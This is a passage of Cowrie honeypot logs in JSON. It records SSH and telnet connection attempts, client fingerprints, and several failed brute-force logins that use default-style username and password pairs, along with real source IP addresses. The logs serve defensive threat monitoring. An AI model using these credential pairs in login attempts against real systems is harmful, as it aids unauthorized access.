dsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:31.630267Z","src_ip":"103.148.100.146","session":"abb8a66c5efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test4","password":"1234","message":"login attempt [test4/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:32.740626Z","src_ip":"103.148.100.146","session":"abb8a66c5efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:34.014396Z","src_ip":"103.148.100.146","session":"abb8a66c5efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":42946,"dst_ip":"159.203.135.109","dst_port":23,"session":"432b93eb052a","protocol":"telnet","message":"New connection: 46.4.8.162:42946 (159.203.135.109:23) [session: 432b93eb052a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:36.143284Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":42954,"dst_ip":"159.203.135.109","dst_port":23,"session":"f160a26d88ba","protocol":"telnet","message":"New connection: 46.4.8.162:42954 (159.203.135.109:23) [session: f160a26d88ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:37.854641Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":42964,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb05840e81c","protocol":"telnet","message":"New connection: 46.4.8.162:42964 (159.203.135.109:23) [session: 1fb05840e81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:39.965963Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":42976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a79580782fd","protocol":"telnet","message":"New connection: 46.4.8.162:42976 (159.203.135.109:23) [session: 6a79580782fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:42.631845Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":44284,"dst_ip":"159.203.135.109","dst_port":23,"session":"39ae6735a0a9","protocol":"telnet","message":"New connection: 188.166.220.49:44284 (159.203.135.109:23) [session: 39ae6735a0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:42.906125Z"}
{"eventid":"cowrie.session.closed","duration":35.031490325927734,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:44.287968Z","src_ip":"46.4.8.162","session":"753a8dda9bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28588,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b5dbf7dcf9","protocol":"ssh","message":"New connection: 194.59.206.2:28588 (159.203.135.109:22) [session: 40b5dbf7dcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:49.210279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:49.214936Z","src_ip":"194.59.206.2","session":"40b5dbf7dcf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:49.327364Z","src_ip":"194.59.206.2","session":"40b5dbf7dcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:49.474287Z","src_ip":"194.59.206.2","session":"40b5dbf7dcf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":49618,"dst_ip":"159.203.135.109","dst_port":23,"session":"6176619769a9","protocol":"telnet","message":"New connection: 46.4.8.162:49618 (159.203.135.109:23) [session: 6176619769a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:52.540217Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":49622,"dst_ip":"159.203.135.109","dst_port":23,"session":"db73f98fb795","protocol":"telnet","message":"New connection: 46.4.8.162:49622 (159.203.135.109:23) [session: db73f98fb795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:52.647098Z"}
{"eventid":"cowrie.session.closed","duration":36.17889904975891,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:53.211394Z","src_ip":"46.4.8.162","session":"feb12625d61f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189540147781372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:57.188271Z","src_ip":"46.4.8.162","session":"fdd7161d2fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9340443611145,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:27:59.211415Z","src_ip":"46.4.8.162","session":"0f0f8cff3734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36990261077881,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:00.525711Z","src_ip":"46.4.8.162","session":"35d39598f434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42344307899475,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:04.030541Z","src_ip":"46.4.8.162","session":"8289f952097d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57502,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d3e22a315a","protocol":"ssh","message":"New connection: 159.203.92.129:57502 (159.203.135.109:22) [session: 33d3e22a315a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:07.961646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:07.966716Z","src_ip":"159.203.92.129","session":"33d3e22a315a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:07.971599Z","src_ip":"159.203.92.129","session":"33d3e22a315a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaz123","message":"login attempt [admin/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:07.984776Z","src_ip":"159.203.92.129","session":"33d3e22a315a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.02464294433594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:08.167821Z","src_ip":"46.4.8.162","session":"432b93eb052a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":37734,"dst_ip":"159.203.135.109","dst_port":22,"session":"db867c83adac","protocol":"ssh","message":"New connection: 185.239.84.249:37734 (159.203.135.109:22) [session: db867c83adac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:08.317487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:08.321727Z","src_ip":"185.239.84.249","session":"db867c83adac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:08.542264Z","src_ip":"185.239.84.249","session":"db867c83adac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows1","message":"login attempt [root/Windows1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:08.975012Z","src_ip":"185.239.84.249","session":"db867c83adac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:08.991121Z","src_ip":"159.203.92.129","session":"33d3e22a315a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:10.193481Z","src_ip":"185.239.84.249","session":"db867c83adac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.753414630889893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:11.719291Z","src_ip":"46.4.8.162","session":"1fb05840e81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37654972076416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:12.231062Z","src_ip":"46.4.8.162","session":"f160a26d88ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1800651550293,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:16.811791Z","src_ip":"46.4.8.162","session":"6a79580782fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.132418155670166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:17.038412Z","src_ip":"188.166.220.49","session":"39ae6735a0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59146,"dst_ip":"159.203.135.109","dst_port":23,"session":"b326146f540b","protocol":"telnet","message":"New connection: 46.4.8.162:59146 (159.203.135.109:23) [session: b326146f540b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:20.569571Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9deaa32ff020","protocol":"telnet","message":"New connection: 188.166.220.49:37800 (159.203.135.109:23) [session: 9deaa32ff020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:21.520065Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59162,"dst_ip":"159.203.135.109","dst_port":23,"session":"d98efe1f7eec","protocol":"telnet","message":"New connection: 46.4.8.162:59162 (159.203.135.109:23) [session: d98efe1f7eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:21.580393Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":59158,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1dd1f32f4ea","protocol":"telnet","message":"New connection: 46.4.8.162:59158 (159.203.135.109:23) [session: d1dd1f32f4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:21.688358Z"}
{"eventid":"cowrie.session.closed","duration":30.897864818572998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:23.544857Z","src_ip":"46.4.8.162","session":"db73f98fb795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45264,"dst_ip":"159.203.135.109","dst_port":23,"session":"32953f247950","protocol":"telnet","message":"New connection: 46.4.8.162:45264 (159.203.135.109:23) [session: 32953f247950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:27.160738Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45280,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c6031a9e47b","protocol":"telnet","message":"New connection: 46.4.8.162:45280 (159.203.135.109:23) [session: 4c6031a9e47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:27.524873Z"}
{"eventid":"cowrie.session.closed","duration":35.21684432029724,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:27.756898Z","src_ip":"46.4.8.162","session":"6176619769a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45292,"dst_ip":"159.203.135.109","dst_port":23,"session":"227cdd6300b5","protocol":"telnet","message":"New connection: 46.4.8.162:45292 (159.203.135.109:23) [session: 227cdd6300b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:28.411251Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45300,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c594e81a756","protocol":"telnet","message":"New connection: 46.4.8.162:45300 (159.203.135.109:23) [session: 1c594e81a756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:29.011402Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":45314,"dst_ip":"159.203.135.109","dst_port":23,"session":"a979187af5d6","protocol":"telnet","message":"New connection: 46.4.8.162:45314 (159.203.135.109:23) [session: a979187af5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:30.194875Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":55960,"dst_ip":"159.203.135.109","dst_port":22,"session":"375c8b1a256f","protocol":"ssh","message":"New connection: 103.148.100.146:55960 (159.203.135.109:22) [session: 375c8b1a256f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:31.667881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:31.673445Z","src_ip":"103.148.100.146","session":"375c8b1a256f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:31.942752Z","src_ip":"103.148.100.146","session":"375c8b1a256f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"4dm1n1str4t0r","message":"login attempt [administrator/4dm1n1str4t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:33.055833Z","src_ip":"103.148.100.146","session":"375c8b1a256f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:34.331784Z","src_ip":"103.148.100.146","session":"375c8b1a256f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":37461,"dst_ip":"10.17.0.5","dst_port":22,"session":"40e513457368","protocol":"ssh","message":"New connection: 212.154.234.9:37461 (10.17.0.5:22) [session: 40e513457368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:38.116477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:38.121715Z","src_ip":"212.154.234.9","session":"40e513457368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:38.307352Z","src_ip":"212.154.234.9","session":"40e513457368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hmsftp","password":"hmsftp123","message":"login attempt [hmsftp/hmsftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:39.077290Z","src_ip":"212.154.234.9","session":"40e513457368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:28:40.264370Z","src_ip":"212.154.234.9","session":"40e513457368","protocol":"ssh"}
